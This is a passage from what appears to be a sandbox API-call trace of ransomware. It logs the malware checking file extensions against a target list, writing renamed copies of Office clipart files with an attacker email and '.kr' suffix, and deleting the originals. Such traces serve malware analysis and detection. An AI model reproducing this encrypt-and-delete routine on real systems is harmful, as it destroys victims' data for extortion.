4 [0105.667] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString=".rar") returned 4 [0105.667] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString=".bz2") returned 4 [0105.667] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.667] lstrlenW (lpString=".7z") returned 3 [0105.667] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.667] lstrlenW (lpString=".dbf") returned 4 [0105.667] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.667] lstrlenW (lpString=".1cd") returned 4 [0105.667] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.667] lstrlenW (lpString=".jpg") returned 4 [0105.667] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString=".doc") returned 4 [0105.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.668] lstrlenW (lpString=".docx") returned 5 [0105.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.668] lstrlenW (lpString=".pdf") returned 4 [0105.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.668] lstrlenW (lpString=".xls") returned 4 [0105.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.668] lstrlenW (lpString=".xlsx") returned 5 [0105.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.668] lstrlenW (lpString=".ppt") returned 4 [0105.668] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString=".zip") returned 4 [0105.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.668] lstrlenW (lpString=".rar") returned 4 [0105.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.668] lstrlenW (lpString=".bz2") returned 4 [0105.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.668] lstrlenW (lpString=".7z") returned 3 [0105.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString=".dbf") returned 4 [0105.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString=".1cd") returned 4 [0105.668] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0105.668] lstrlenW (lpString=".jpg") returned 4 [0105.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.669] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.669] lstrlenW (lpString="AN00010_.WMF") returned 12 [0105.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.669] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=3026) returned 1 [0105.669] CloseHandle (hObject=0x398) returned 1 [0105.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0105.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.669] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.669] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0105.670] GetLastError () returned 0x0 [0105.670] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0xbd2, lpOverlapped=0x0) returned 1 [0105.673] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xbe0, lpOverlapped=0x0) returned 1 [0105.674] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0105.674] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0105.674] SetEndOfFile (hFile=0x358) returned 1 [0105.674] CloseHandle (hObject=0x358) returned 1 [0105.675] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.675] SetEndOfFile (hFile=0x398) returned 1 [0105.675] CloseHandle (hObject=0x398) returned 1 [0105.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.676] lstrlenW (lpString=".doc") returned 4 [0105.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.676] lstrlenW (lpString=".docx") returned 5 [0105.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.676] lstrlenW (lpString=".pdf") returned 4 [0105.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.676] lstrlenW (lpString=".xls") returned 4 [0105.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.676] lstrlenW (lpString=".xlsx") returned 5 [0105.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.676] lstrlenW (lpString=".ppt") returned 4 [0105.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.677] lstrlenW (lpString=".zip") returned 4 [0105.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.677] lstrlenW (lpString=".rar") returned 4 [0105.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.677] lstrlenW (lpString=".bz2") returned 4 [0105.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.677] lstrlenW (lpString=".7z") returned 3 [0105.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.677] lstrlenW (lpString=".dbf") returned 4 [0105.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.677] lstrlenW (lpString=".1cd") returned 4 [0105.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.677] lstrlenW (lpString=".jpg") returned 4 [0105.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.678] lstrlenW (lpString=".doc") returned 4 [0105.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString=".docx") returned 5 [0105.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.678] lstrlenW (lpString=".pdf") returned 4 [0105.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString=".xls") returned 4 [0105.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.678] lstrlenW (lpString=".xlsx") returned 5 [0105.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.678] lstrlenW (lpString=".ppt") returned 4 [0105.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.678] lstrlenW (lpString=".zip") returned 4 [0105.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.678] lstrlenW (lpString=".rar") returned 4 [0105.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString=".bz2") returned 4 [0105.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString=".7z") returned 3 [0105.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.678] lstrlenW (lpString=".dbf") returned 4 [0105.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.678] lstrlenW (lpString=".1cd") returned 4 [0105.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0105.679] lstrlenW (lpString=".jpg") returned 4 [0105.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.679] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.679] lstrlenW (lpString="AN00015_.WMF") returned 12 [0105.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.679] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4734) returned 1 [0105.679] CloseHandle (hObject=0x398) returned 1 [0105.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0105.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.679] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.679] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0105.680] GetLastError () returned 0x0 [0105.680] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x127e, lpOverlapped=0x0) returned 1 [0105.681] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1280, lpOverlapped=0x0) returned 1 [0105.682] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0105.682] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0105.682] SetEndOfFile (hFile=0x358) returned 1 [0105.682] CloseHandle (hObject=0x358) returned 1 [0105.683] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.683] SetEndOfFile (hFile=0x398) returned 1 [0105.684] CloseHandle (hObject=0x398) returned 1 [0105.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.685] lstrlenW (lpString=".doc") returned 4 [0105.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.685] lstrlenW (lpString=".docx") returned 5 [0105.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.685] lstrlenW (lpString=".pdf") returned 4 [0105.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.685] lstrlenW (lpString=".xls") returned 4 [0105.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.685] lstrlenW (lpString=".xlsx") returned 5 [0105.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.685] lstrlenW (lpString=".ppt") returned 4 [0105.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.685] lstrlenW (lpString=".zip") returned 4 [0105.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.685] lstrlenW (lpString=".rar") returned 4 [0105.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.685] lstrlenW (lpString=".bz2") returned 4 [0105.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.685] lstrlenW (lpString=".7z") returned 3 [0105.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString=".dbf") returned 4 [0105.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString=".1cd") returned 4 [0105.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString=".jpg") returned 4 [0105.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString=".doc") returned 4 [0105.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString=".docx") returned 5 [0105.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.686] lstrlenW (lpString=".pdf") returned 4 [0105.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString=".xls") returned 4 [0105.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.686] lstrlenW (lpString=".xlsx") returned 5 [0105.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.686] lstrlenW (lpString=".ppt") returned 4 [0105.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.686] lstrlenW (lpString=".zip") returned 4 [0105.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.687] lstrlenW (lpString=".rar") returned 4 [0105.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.687] lstrlenW (lpString=".bz2") returned 4 [0105.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.687] lstrlenW (lpString=".7z") returned 3 [0105.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.687] lstrlenW (lpString=".dbf") returned 4 [0105.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.687] lstrlenW (lpString=".1cd") returned 4 [0105.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0105.687] lstrlenW (lpString=".jpg") returned 4 [0105.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.687] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.687] lstrlenW (lpString="AN00790_.WMF") returned 12 [0105.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.688] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=5684) returned 1 [0105.688] CloseHandle (hObject=0x398) returned 1 [0105.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0105.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0105.688] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.688] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0105.689] GetLastError () returned 0x0 [0105.689] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x1634, lpOverlapped=0x0) returned 1 [0105.690] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x1640, lpOverlapped=0x0) returned 1 [0105.691] ReadFile (in: hFile=0x398, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0105.691] WriteFile (in: hFile=0x358, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0105.691] SetEndOfFile (hFile=0x358) returned 1 [0105.691] CloseHandle (hObject=0x358) returned 1 [0105.692] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0105.692] SetEndOfFile (hFile=0x398) returned 1 [0105.693] CloseHandle (hObject=0x398) returned 1 [0105.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.694] lstrlenW (lpString=".doc") returned 4 [0105.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.694] lstrlenW (lpString=".docx") returned 5 [0105.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.694] lstrlenW (lpString=".pdf") returned 4 [0105.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.694] lstrlenW (lpString=".xls") returned 4 [0105.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.694] lstrlenW (lpString=".xlsx") returned 5 [0105.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.694] lstrlenW (lpString=".ppt") returned 4 [0105.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.694] lstrlenW (lpString=".zip") returned 4 [0105.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.694] lstrlenW (lpString=".rar") returned 4 [0105.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.694] lstrlenW (lpString=".bz2") returned 4 [0105.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.694] lstrlenW (lpString=".7z") returned 3 [0105.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0105.695] 